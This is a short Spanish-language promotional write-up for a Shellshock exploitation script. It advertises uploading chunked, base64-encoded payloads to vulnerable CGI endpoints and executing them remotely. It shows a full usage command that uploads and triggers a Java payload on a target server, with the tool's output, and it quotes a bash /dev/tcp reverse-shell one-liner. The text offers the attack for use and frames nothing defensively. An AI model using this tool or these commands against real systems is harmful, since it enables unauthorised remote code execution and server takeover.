
Script de explotación de Shellshock capaz de subir archivos y ejecutar código remoto (RCE) utilizando cualquier vector gracias a su versatilidad.
¿Cansado de usar exploits débiles de shellshock o simplemente hacer "/bin/bash >& /dev/tcp/IP/port 0>&1" para acceder al servidor?
Sí, necesitas subir y ejecutar algo más complejo en el servidor, y codificar en base64 un archivo enorme es imposible para que tu solicitud HTTP sea aceptada por el servidor web.
Tus problemas podrían terminar con esta herramienta. Es capaz de codificar tu payload en base64 y enviarlo en fragmentos de (por defecto) 128 bytes al servidor web, y luego, una vez enviado, lo decodifica y lo ejecuta.
"Vaya", dices, "Pero no tengo PHP, necesito algo para Java." No hay problema, digo, esta herramienta es altamente personalizable.
Solo mira esto:
python hellshocker.py --cgi http://website.com/cgi-bin/vulnerable --payload "java.jar" --destination "/tmp/java.jar" --trigger "/usr/bin/java -jar /tmp/java.jar" --base64
[*] Splitting data into chunks ...
[+] Payload data has been encoded to base64 format.
[*] There is 19 chunks to be sent to remote server
[*] Starting payload upload ...
[*] Uploading chunk #1
[*] Uploading chunk #2
[*] Uploading chunk #3
[*] Uploading chunk #4
[*] Uploading chunk #5
[*] Uploading chunk #6
[*] Uploading chunk #7
[*] Uploading chunk #8
[*] Uploading chunk #9
[*] Uploading chunk #10
[*] Uploading chunk #11
[*] Uploading chunk #12
[*] Uploading chunk #13
[*] Uploading chunk #14
[*] Uploading chunk #15
[*] Uploading chunk #16
[*] Uploading chunk #17
[*] Uploading chunk #18
[*] Uploading chunk #19
[+] Upload procedure has been completed.
[*] Decoding base64-encoded payload on remote server ...
[+] Remote command for decoding has been sent successfully sent.
[*] Triggering payload to execute ...
[+] Trigger command for payload execution has been succesfully sent.
Entonces tu payload fue transferido y ejecutado con éxito. ¿Genial, no? Sí, lo es.